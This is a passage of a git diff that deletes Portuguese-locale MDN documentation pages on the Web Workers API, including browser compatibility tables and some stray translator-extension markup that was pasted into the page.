- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{ CompatChrome(43) }}</span></td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatUnknown}}</span></td>
- </tr>
- <tr>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Channel_Messaging_API", "Channel Messaging API")}}</span></td>
- <td>Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly via two ports.</td>
- <td>{{ CompatGeckoDesktop(41)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Console", "Console API")}}</span></td>
- <td>Provides access to the browser's debugging console (e.g., the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works vary from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</td>
- <td>{{ CompatGeckoDesktop(38)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("CustomEvent")}}</span></td>
- <td>The <strong><code>CustomEvent</code></strong> interface represents events initialized by an application for any purpose.</td>
- <td>{{ CompatGeckoDesktop(48)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("Data_Store_API", "Data Store")}}</td>
- <td>A powerful, flexible storage mechanism for multiple Firefox OS applications to use to store and share data between one another quickly, efficiently, and securely.</td>
- <td>Only in Firefox OS internal (certified) applications, since v1.0.1.</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("DOMRequest")}} and {{domxref("DOMCursor")}}</td>
- <td>Respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results.</td>
- <td>{{ CompatGeckoDesktop(41)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("Fetch_API", "Fetch")}}</td>
- <td>The Fetch spec provides an up-to-date definition of, and API for, fetching resources (e.g. across the network.)</td>
- <td>Mostly in {{ CompatGeckoDesktop(34)}} behind pref, although a few features are later.</td>
- <td>{{CompatNo}}</td>
- <td>{{ CompatChrome(42) }}<br>
- {{ CompatChrome(41) }} behind pref</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("FileReader")}}</td>
- <td>This API allows asynchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects.</td>
- <td>{{CompatGeckoDesktop(46)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("FileReaderSync")}}</td>
- <td>This API allows synchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects. This is an API that works only in workers.</td>
- <td>{{CompatGeckoDesktop(8)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("FormData")}}</td>
- <td><code>FormData</code> objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a> method.</td>
- <td>{{CompatUnknown}} (should be in {{CompatGeckoDesktop(39)}})</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("ImageData")}}</td>
- <td>The underlying pixel data of an area of a {{domxref("canvas")}} element. Manipulating such data can be a complex task better suited to be delegated to a Web Worker.</td>
- <td>{{CompatGeckoDesktop(25)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("IndexedDB_API", "IndexedDB")}}</td>
- <td>Database to store records holding simple values and hierarchical objects.</td>
- <td>{{CompatGeckoDesktop(37)}},  {{CompatGeckoDesktop(42)}} for {{domxref("IDBCursorWithValue")}}.</td>
- <td>10.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></td>
- <td>provides information about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.).</td>
- <td>{{CompatGeckoMobile(53)}} only on mobile</td>
- <td>{{CompatVersionUnknown}} only on mobile</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("Notifications_API", "Notifications")}}</td>
- <td>Allows web pages to control the display of system notifications to the end user</td>
- <td>{{CompatGeckoDesktop(41)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("Performance")}}</td>
- <td>The <strong><code>Performance</code></strong> interface represents timing-related performance information for the given page.</td>
- <td>{{ CompatGeckoDesktop("34.0") }}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{ CompatChrome("33.0") }}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>{{jsxref("Promise")}}</td>
- <td>JavaScript objects that allow you to write asynchronous functions.</td>
- <td>{{CompatGeckoDesktop(28)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a></td>
- <td>Allows a server to push data to a web page at any point, after a connection has been opened to it.</td>
- <td>{{CompatGeckoDesktop(53)}} (currently only available in dedicated and shared workers; not service workers.)</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("ServiceWorkerRegistration")}}</td>
- <td>You can register a service worker from inside a standard worker, and use associated functionality.</td>
- <td>{{CompatGeckoDesktop(40)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}</td>
- <td>Create and return a new {{domxref("TextEncoder")}}, or respectively {{domxref("TextDecoder")}}, allowing to encode or decode strings into specific encodings.</td>
- <td>{{CompatGeckoDesktop(20)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{ domxref("URL") }}</td>
- <td>Workers can use the static methods <a href="/en-US/docs/DOM/window.URL.createObjectURL" title="/en-US/docs/DOM/window.URL.createObjectURL">URL.createObjectURL</a> and <a href="/en-US/docs/DOM/window.URL.revokeObjectURL" title="/en-US/docs/DOM/window.URL.revokeObjectURL">URL.revokeObjectURL</a> with {{domxref("Blob")}} objects accesible to the worker.<br>
- Workers can also create a new URL using the {{domxref("URL.URL", "URL()")}} constructor and call any normal method on the returned object.</td>
- <td>{{CompatGeckoDesktop(21)}} and {{CompatGeckoDesktop(26)}} for URL() constructor</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> with {{domxref("OffscreenCanvas")}}</td>
- <td>WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins.</td>
- <td>{{CompatGeckoDesktop(44)}} behind a feature preference setting. In <code>about:config</code>, set <code>gfx.offscreencanvas.enabled</code> to true.</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("WebSocket")}}</td>
- <td>Creates and returns a new {{domxref("WebSocket")}}  object; this mimics the behavior of the standard <code>WebSocket()</code> constructor.</td>
- <td>{{CompatGeckoDesktop(37)}}</td>
- <td>11.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("Worker")}}</td>
- <td>Creates a new {{ domxref("Worker") }}. Yes, workers can spawn more workers.</td>
- <td>{{CompatGeckoDesktop("1.9.1")}}</td>
- <td>10.0</td>
- <td>{{CompatNo}} See <a class="external" href="https://code.google.com/p/chromium/issues/detail?id=31666" rel="external" title="http://code.google.com/p/chromium/issues/detail?id=31666">crbug.com/31666</a></td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>{{domxref("WorkerGlobalScope")}}</td>
- <td>The global scope of workers. This objects defines <a href="#workerscope">worker-specific functions</a>.</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>10.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("WorkerLocation")}}</td>
- <td>The subset of the {{domxref("Location")}} interface available to workers.</td>
- <td>{{CompatGeckoDesktop(1.9.2)}}</td>
- <td>10.0</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("WorkerNavigator")}}</td>
- <td>The subset of the {{domxref("Navigator")}} interface available to workers.</td>
- <td>Basic implementation {{CompatVersionUnknown}}<br>
- {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}<br>
- {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}<br>
- {{domxref("NavigatorLanguage")}}: {{CompatVersionUnknown}}</td>
- <td>{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appVersion")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0<br>
- Other: {{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("XMLHttpRequest")}}</td>
- <td>Creates and returns a new {{domxref("XMLHttpRequest")}}  object; this mimics the behavior of the standard <code>XMLHttpRequest()</code> constructor. Note that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</td>
- <td>
- <p>Basic: {{CompatGeckoDesktop("1.9.1")}}</p>
-
- <p>{{domxref("XMLHttpRequest.response", "response")}} and {{domxref("XMLHttpRequest.responseType", "responseType")}} are available since {{CompatGeckoDesktop("10")}}</p>
-
- <p>{{domxref("XMLHttpRequest.timeout", "timeout")}} and {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} are available since {{CompatGeckoDesktop("13")}}</p>
- </td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/Web_Workers_API/Utilizacao_de_web_workers">Utilização de workers da Web</a></li>
- <li>{{domxref("Worker")}}</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/web_workers_api/index.html b/files/pt-pt/web/api/web_workers_api/index.html
deleted file mode 100644
index 9c1040b06f..0000000000
--- a/files/pt-pt/web/api/web_workers_api/index.html
+++ /dev/null
@@ -1,234 +0,0 @@
----
-title: Web Workers API
-slug: Web/API/Web_Workers_API
-tags:
- - API
- - NeedsTranslation
- - Service Workers
- - Shared Workers
- - TopicStub
- - Web Workers
- - Workers
-translation_of: Web/API/Web_Workers_API
----
-<p>{{DefaultAPISidebar("Web Workers API")}}</p>
-
-<p class="summary"><strong>Web Workers</strong> makes it possible to run a script operation in background thread separate from the main execution thread of a web application. The advantage of this is that laborious processing can be performed in a separate thread, allowing the main (usually the UI) thread to run without being blocked/slowed down.</p>
-
-<h2 id="Web_Workers_concepts_and_usage">Web Workers concepts and usage</h2>
-
-<p>A worker is an object created using a constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. This context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}).</p>
-
-<p>You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under <code>window</code>, including <a href="/en-US/docs/WebSockets">WebSockets</a>, and data storage mechanisms like <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> and the Firefox OS-only <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API</a>.  See <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a> for more details.</p>
-
-<p>Data is sent between workers and the main thread via a system of messages — both sides send their messages using the <code>postMessage()</code> method, and respond to messages via the <code>onmessage</code> event handler (the message is contained within the {{event("Message")}} event's <code>data</code> property). The data is copied rather than shared.</p>
-
-<p>Workers may in turn spawn new workers, as long as those workers are hosted within the same origin as the parent page.  In addition, workers may use <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> for network I/O, with the exception that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</p>
-
-<p>In addition to dedicated workers, there are other types of worker:</p>
-
-<ul>
- <li>Shared workers are workers that can be utilized by multiple scripts running in different windows, IFrames, etc., as long as they are in the same domain as the worker. They are a little more complex than dedicated workers — scripts must communicate via an active port. See {{domxref("SharedWorker")}} for more details.</li>
- <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.</li>
- <li>Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a> in your worker. See {{domxref("ChromeWorker")}} for more details. </li>
- <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> provide the ability for direct scripted audio processing to be done inside a web worker context.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: As per the <a href="https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2">Web workers Spec</a>, worker error events should not bubble (see {{bug(1188141)}}. This has been implemented in Firefox 42.</p>
-</div>
-
-<h2 id="Web_Worker_interfaces">Web Worker interfaces</h2>
-
-<dl>
- <dt>{{domxref("AbstractWorker")}}</dt>
- <dd>Abstracts properties and methods common to all kind of workers (i.e. {{domxref("Worker")}} or {{domxref("SharedWorker")}}).</dd>
- <dt>{{domxref("Worker")}}</dt>
- <dd>Represents a running worker thread, allowing you to pass messages to the running worker code.</dd>
- <dt>{{domxref("WorkerLocation")}}</dt>
- <dd>Defines the absolute location of the script executed by the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker" title="The Worker interface of the Web Workers API represents a background task that can be easily created and can send messages back to its creator. Creating a worker is as simple as calling the Worker() constructor and specifying a script to be run in the worker thread."><code>Worker</code></a>.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("SharedWorker")}}</dt>
- <dd>Represents a specific kind of worker that can be <em>accessed</em> from several browsing contexts, being several windows, iframes or even workers.</dd>
- <dt>{{domxref("WorkerGlobalScope")}}</dt>
- <dd>Represents the generic scope of any worker (doing the same job as {{domxref("Window")}} does for normal web content). Different types of worker have scope objects that inherit from this interface and add more specific features.</dd>
- <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
- <dd>Represents the scope of a dedicated worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
- <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
- <dd>Represents the scope of a shared worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
- <dt>{{domxref("WorkerNavigator")}}</dt>
- <dd>Represents the identity and state of the user agent (the client):</dd>
-</dl>
-
-<h2 id="Examples">Examples</h2>
-
-<p>We have created a couple of simple demos to show basic usage:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</li>
- <li><a href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>).</li>
-</ul>
-
-<p>You can find out more information on how these demos work in <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a>.</p>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', '#workers')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(1.9.1)}}</td>
- <td>10.0</td>
- <td>10.6</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Shared workers</td>
- <td>4</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop(29)}}</td>
- <td>{{CompatNo}}</td>
- <td>10.6</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Passing data using structured cloning</td>
- <td>13</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(8)}}</td>
- <td>10.0</td>
- <td>11.5</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Passing data using  transferable objects</td>
- <td>17 {{property_prefix("webkit")}}<br>
- 21</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop(18)}}</td>
- <td>{{CompatNo}}</td>
- <td>15</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Global {{domxref("window.URL", "URL")}}</td>
- <td>10<sup>[1]</sup><br>
- 23</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(21)}}</td>
- <td>11</td>
- <td>15</td>
- <td>6<sup>[1]</sup></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>4.4</td>
- <td>4</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile(1.9.1)}}</td>
- <td>1.0.1</td>
- <td>10.0</td>
- <td>11.5</td>
- <td>5.1</td>
- </tr>
- <tr>
- <td>Shared workers</td>
- <td>{{CompatNo}}</td>
- <td>4</td>
- <td>{{CompatNo}}</td>
- <td>29</td>
- <td>1.4</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>Passing data using structured cloning</td>
- <td>{{CompatNo}}</td>
- <td>4</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>8</td>
- <td>1.0.1</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>Passing data using  transferable objects</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>18</td>
- <td>1.0.1</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] As <code>webkitURL</code>.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Workers_API/basic_usage">Using Web Workers</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker Interface</a></li>
